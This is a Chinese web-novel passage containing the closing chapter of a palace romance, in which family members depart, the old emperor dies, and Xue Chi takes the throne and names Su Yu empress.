叶氏笑着说,“我只是问问你们,成亲总要挑个合心意的。要是遇到了,不管家世如何,只管与我说。” 两人心中皆无嫁人的想法,只是也不好对叶氏说,嘴上答应着。 午饭后,因府中无事,苏玫和云棠各自回屋歇着。 云棠半卧在罗汉床上,想着中午时叶氏所说的,她几乎下意识的摸向怀中的玉佩。 直隶春日宴上,与关楚河初见时,送她的见面礼。 按苏钰说的,那是关楚河喝醉了,不然他的东西可不会轻易给人。 那她还真是运气好,正巧碰上他醉了。 “姑娘,您要歇着吗,我给你脱鞋。”丫头见云棠闭目养神,上前问着。 云棠睁开眼,摇摇头,神思却从过往记忆里飞了回来。 中午明媚的阳光落到窗台上,投下来的阴影正好落在她身上。 人生自古难全,她的命己经很好,姻缘再不想了。 第207章【完结】 第207章 完结 南魏送来和亲公主时,…… 南魏送来和亲公主时, 苏珩与礼部侍郎一起去迎接的。 与苏珩相比,礼部侍郎显得极不专业。这也是没办法,上任才三天。 八年前的状元,本该在翰林院熬资历。结果朝廷大洗牌, 贫民出身的状元郎没有站过队, 反而因祸得福, 直接提拔成礼部侍郎。 因为在关太后国孝之中, 婚期定在后孝期后,和亲公主暂住驿馆。 按理说南魏的使团也该一起住下, 与礼部一起商量婚礼流程。南魏使团对婚礼全然不理会,第二天就去苏府拜会罗星。 国师对太子夜烬阳不喜,己经人尽皆知,连送来的和亲公主都是夜烬阳的未婚妻。 对于这样的和亲,南魏使者也是不喜, 人送到就不管了。 “我近期不会回南魏。”罗星不耐烦说着。 罗宗涛给她写了无数封信,目的只有一个,让她回去。 现在南魏使团来了, 又开始催了。 南魏使者跪了一地, 听罗星如此说, 不敢劝也不敢动。 为首的使臣双手奉上一封信,是国师亲自写的, 让他们带过来。 罗星接过来, 拆开看了看,神情怪异,好一会才说,“告诉他,我知道了。” 使臣颤颤巍巍问着, “国师一直盼着小主子的回信。” 国师亲自写了信,罗星不跟着一起回去,至少回封信,他们也好交差。 只带三个字回去,他们担心自己小命不保。 “滚。”罗星怒声说着。 回什么回,有什么好回的,罗宗涛给她写了一封情书,难道她也要回一封情书吗。 南魏使者们再不敢多言,当即滚了。 又磨了几日,南魏使团知罗星的性格,见她不喜,便要起程回南魏。 临行前南魏使团向罗星辞行,罗星榻上坐着,神情有些懒怠,却拿出一封信丢给使者,“带给老头子。” 使者大喜,连忙连住,恭敬的把信放到特殊匣子里收好,“臣告退。” 南魏使团行礼退下,罗星觉得自己也该走了。 她在苏家呆的时间太久,关楚河死了,苏家的警报也解除了。吃了睡,睡了吃的大家闺秀生活她适应不了。 晚饭后,罗星对苏天华和叶氏说着,“我该走了。” 叶氏怔住了,不自觉得问,“大晚上的,你要去哪?” 苏天华明白罗星的意思,罗星回来的时候,他就知道她呆不久,只是这么快就走,也让他意外。 “再住一阵子吧,至少等邑哥儿成亲后。”苏天华说着。 罗星道:“不了,我明早动身。” 她没什么要带的,行李也不需要收拾,要不是需要辞行,动念时就可以走了。 叶氏终于明白罗星的走是什么意思,顿时变了脸色,拉着罗星的手,“辰姐儿,你是要回南魏?” 罗星并不打算回南魏,她想四处走走江湖游历一番。这些年在南魏,她甚少出门。 只是这些话,会让叶氏更担心,便点头道:“南魏使团来了,我也想回去看看。” “那些南魏人抚养你本就是有所图,你回去岂不是自投罗网。”叶氏着急说着。 罗星道:“这其中有误会,南魏国师待我极好。” 叶氏还想再说,苏天华却拦住她,“总是养了你一场,想回去就回去吧。只是你要知道,这里是你的家,要常回来看看。” 罗星虽然是他女儿,但他是管不住的。而且这种天才型孩子,父母更应该放手,让她自由发展。 “我会的。”罗星说着。 第二天早上,罗星走了,没惊动任何人,屋里的丫头起床后,寻不到主子,吓了一大跳,回禀了叶氏才知晓。 苏家众人也陆续知晓,意料之中。 苏天翊知道后,却是问苏略,“你是跟我走,还是留下来?” 关家事务己了,接下来的官场整顿,以及送显庆皇帝归西,他就不掺与了。 尤其是送走显庆皇帝这事,当臣子的知道的多了,不是好事。 “我跟着父亲。”苏略没有丝毫犹豫。 苏天翊道:“你挑两个人给钰姐儿,京城的一些事务,也交给她。” 他有想过让苏略留下来协助,但苏略不想,那就算了。 都要当皇后了,许多事情就要自己上手。不能傻傻的等着家人撑腰,再过些年,苏家就要靠她撑腰。 “我己经着手安排。”苏略说着。 苏天翊道:“准备一下,十日后离京。” 及至次日,苏天翊进宫面圣,大义凛然的跟显庆皇帝辞行。 早在数月前,显庆皇帝就希望苏天翊去南魏寻求长生之术,苏天翊拖到现在。 现在时机合适了,这个借口就非常好用。 “好,好,爱卿之忠心,果然没让朕失望。”显庆皇帝大喜。 多番忽悠之下,苏天翊是显庆皇帝眼里的第一大忠臣。 现在这个大忠臣要为他去南魏寻找长生之术,这必须得有赏。 因为不在京城,无法实封,本想给虚爵,但苏天翊己经是国公了,总不能国公府兼一等大将军,这就扯了。 还是身侧大太监提醒,爵位无法再封,可以赏赐永业田,把爵位多延一代。 显庆皇帝觉得有理,当即下旨,英国公的永业田翻倍,爵位多延一代。 同时许诺苏天翊,要是能找到长生之术,英国公府的爵位也可以跟着永永远远。 苏天翊笑着谢了恩,薛迟找来的练丹师果然很牛逼,这么短的时间里,显庆皇帝疯的更厉害了。 出宫回府,因为他的身份,辞行的话从来不说,担心被人窥探到行踪。 晚饭过后,苏天翊去了听雨轩。 “大老爷来了……”小丫头传话进屋。 苏钰连忙起身,给胡婆子使了眼色,胡婆子带着屋里的丫头婆子从后门出去。 “父亲。”苏钰迎了上来。 苏天翊笑着道:“我要走了。” 苏钰脸色微变,没有问他要去哪,也没有问他去做什么,声音却十分低沉,“父亲,你还会回来吗?” 早在几天前,苏略就找到她,交代了她许多事。她当时就想到了,苏天翊这是要离开了。 上一次苏天翊离开,一走十年。 这回再离开,他还会回来吗? 苏天翊笑了,笑容很轻,“我在外面,对苏家,对你才是最好的。” 留下来虽然能权倾朝野,但新帝登基,朝廷风云变幻,他不可能不被忌惮。 他的权力欲本就没那么重,而且他不回来才是最好的,不知道他在哪,也不知道他在做什么,这才最让人忌惮。 苏钰眼中含泪,声音呜咽,“您也离开了,我……” 十年前苏天翊离开时,至少慕容宁还在。现在慕容宁不在了,苏天翊也要离开。 而这回的离开,有可能再无归期。 苏天翊笑着,眼中带着不舍,却是道:“你长大了,知道自己要做什么。你是个聪明孩子,虽然选了一条艰难的路,但我知道你能走到底。” 苏钰的眼泪大颗大颗掉下来,她是成年了,但希望父母能在身边,与年龄无关。 尤其是她这种,年少时父亲就不在身边,母亲又改嫁。 苏天翊沉默着,看着苏钰落泪,心有不忍。想到小时候,每每苏钰在他面前哭闹撒娇,不管她要什么都允了。 后来他离开,苏略跟他说,苏钰懂事了许多。 有时候小孩子早熟懂事不是好事,因为没人纵着她任性,就只能懂事。 苏钰哭了一会,情绪终于稳定下来,拿着手绢擦着泪。 苏天翊这才道:“最近这段日子,不要进宫,不要与薛迟见面。” 苏钰微微一怔,想到上回在宫里与显庆皇帝见面的场景。 薛迟这是打算…… 所以,苏天翊选在这个时候走了。 至亲至疏夫妻,有些太过于惊世骇俗之事,哪怕是夫妻,也是不能知晓的。 “女儿明白。”苏钰说着。 苏天翊放下心来,“薛迟值得付托终身,你的眼光很好。” 苏钰没作声,她也知道薛迟很好,唯一不好的,是他的身份。 “好好照顾自己。”苏天翊说着。 当天晚上苏天翊和苏略离开,没人送行,甚至没人知晓。 苏钰连着数日没有出门,只见了陈平。 陈平的官职并没有多大变化,但他依然贴身侍侯薛迟,再高的官,见他都是客客气气。 “给姑娘请安。”陈平见礼。 苏钰抬手示意他起来,客气说着,“陈大人免礼,请坐。” 绿川搬来凳子,陈平却拘谨站着,不敢落坐,小心翼翼陪笑说着,“姑娘如此客气,让臣惶恐,总觉得自己犯了错。” 苏钰听得笑了,“陈大人这回过来,可是有什么事?” “殿下派臣给姑娘送东西。”陈平笑嘻嘻说着,从怀里掏出一个小盒子,双手奉给苏钰。 苏钰有些意外,好久没有收到薛迟的礼物,朝中事情那么多,睡觉都没时间,哪有心思送礼物。 绿川接过来,双手奉给苏钰。 苏钰好奇打开盒子,竟然是一枝珠钗,用料很好,做工就有点……呃,非常粗糙。 但这样的珠钗,苏钰心头浮出一丝奇异的感觉,这难道? “这是殿下亲手做的。”陈平笑着说,“也是我多嘴,那天与殿下说起我的娘子,娶亲时我家穷,连聘礼都拿不出来,自己做了根珠钗送给娘子,才娶到媳妇。” 苏钰脸上笑意越发浓了,又带着几分羞涩,“你果然多嘴。” 薛迟是因为家穷娶不上媳妇的吗,手工做珠钗,这也是出乎意料。 说话间,苏钰把珠钗小心收好,又对陈平说着,“坐吧。” 陈平见苏钰笑了,这才敢落坐,“谢姑娘。” “还有什么事?”苏钰问着。 虽然薛迟亲手做的珠钗值得陈平跑一趟,但陈平既然坐了,就是有话要说。 陈平笑着说,“殿下最近忙碌,无法来见姑娘,请姑娘见谅。” 苏钰心知他在忙什么,她也不想这时候见薛迟,笑着说,“正好我写了信给他,正想派人送,正巧你来了,帮忙带过去。” 说着,苏钰给绿川使了眼色。 绿川进到西梢间,把写好的信拿出来,双手奉给陈平。 陈平起身,恭敬接过来,“臣一定要带到。” 苏钰又问起薛迟的情况,不外乎是吃饭之类的生活琐事。 陈平回答的认真,一直强调薛迟身边只有太监侍侯。 “还有一件事,薛驸马向皇上求了恩典,希望世子能去直隶历练。”陈平说着。 谢无衣早己正名为薛无衣,因薛驸马和晋阳长公主的大功,显庆皇帝特意恩封薛驸马为镇国公。 谢无衣做为独子,薛驸马请封了世子,显庆皇帝己经批了。 “去直隶?”苏钰有些意外,她本以为晋阳长公主会舍不得儿子。 不过直隶倒是个好去处,做为京城的守卫,一直都有军队驻扎,关楚河造反靠的就是这支军队。 现在军队被打散了,谢无衣过去,说是练历,其实是重组。只要做的好,就是实打实的军权在手。 直隶不比其他地方,这里的驻军必须得在心腹之人手上。 薛驸马是羽林军首领,新帝登基后多半就要告老还乡。 不是信不过,而是羽林军实在太重要,皇帝的贴身保镖,薛迟心中只怕有更合适的人选。 主动退让,然后去直隶协助儿子,成为实权派国公世子,这样才能利益最大化。 薛驸马和晋阳长公主一直处于权力顶锋,比任何人都知道权力的重要性,不可能让儿子真当富贵闲人。 毕竟,财富没有权力相伴,皆是镜花水月。 “皇上己经准了。”陈平说着。 苏钰知道这个准了,多半是薛迟准了,不禁点点头,“如此甚好。” 陈平见苏钰心情甚好,笑着又说,“还有薛姑娘,殿下吩咐宗人府,要封她为县主。” 薛雨梓寄居公主府这么多年,与薛迟也算是有兄妹之义,更与苏钰也交好。 她的婚事拖延至今,年龄越来越大。晋阳长公主问过她,薛雨梓只说朝中事务那么多,自己也没有遇到合心意的,过段时间再提也不迟。 晋阳长公主一直为谢无衣焦头烂额,确实也顾不上她。 薛迟得知后,就通知了宗人府。 县主虽然没有府邸,但每年都有钱拿。将来有合适的人家了,有县主的身份撑着,没人敢挑她的年龄家世,也算是全了这一段同府共住的情义。 “这是喜事啊。”苏钰笑着说。 薛驸马和晋阳长公主重本投资,现在薛迟上位,国公的爵位,军队实权,养女也给了县主的封号,算是都照顾到了。 至于能不能再进一步,就要看谢无衣了。 陈平笑着说,“可不是,长公主最近高兴着呢。” 如此闲聊着,陈平把该说的说完,起身告辞。 苏钰也不留他,吩咐绿川送客,绿川送陈平至二门方返回。 苏钰打开匣子,把珠钗拿出来看了又看。 就像苏天翊所说的,她选了一条艰难的路。选了就选了,她并不后悔。 只愿往后余生,与薛迟一路同行到最后。 半年后,显庆皇帝病逝。 朝野尽知,显庆皇帝迷上丹道,早也磕,晚也磕,终于把命磕进去。 从关太后去世起,朝政都是薛迟在处理。显庆皇帝的死,几乎没有任何影响。 当然,宗人府要忙些,得操办大丧事仪。 命妇进宫,守灵,送灵,二十七天后显庆皇帝的棺椁送至皇陵,丧礼并没有结束,但皇城部分的结束了。 送陵后的各种流程,由大臣与命妇们去皇陵继承。皇城的白色变红色,新帝登基,薛迟继位。 新皇的第一道旨意,尊己故程皇后为皇太后。 第二道旨意,和薛迟一起出现在苏家。 总管大太监朗声念着:“奉天承运,皇帝诏曰:朕承祖宗之洪业,御四海之苍生,当以圣德治天下,以仁爱抚万民。今有苏氏,系出名门,诞钟粹美。幼承家训,性秉温良,德备幽闲,行符礼则。端庄持重,有母仪之姿;仁爱慈和,怀万民之念。朕幸得爱卿,视为佳偶,今特册立尔为皇后。” 清亮的声音响彻庭院,跪着的苏家众人聆听着。直到“钦此”两个落地,苏钰恭敬说着,“臣妾接旨,谢主隆恩。” 苏钰接过圣旨,薛迟上前扶起她,四目相接,苏钰眼中笑意更浓。 薛迟眉眼含笑,把皇后册宝拿给苏钰,“由朕来当你的册封官。” 苏钰接过册宝,笑着说,“辛苦皇上了。” 薛迟笑着摇摇头,“为了朕的皇后,不辛苦。” 孝期当中,大婚不合适。婚礼可以往后,封后的旨意可以先下来。 “陪我走走。”薛迟说着,牵起苏钰的手。 苏钰任由他牵着,只希望就这么一辈子。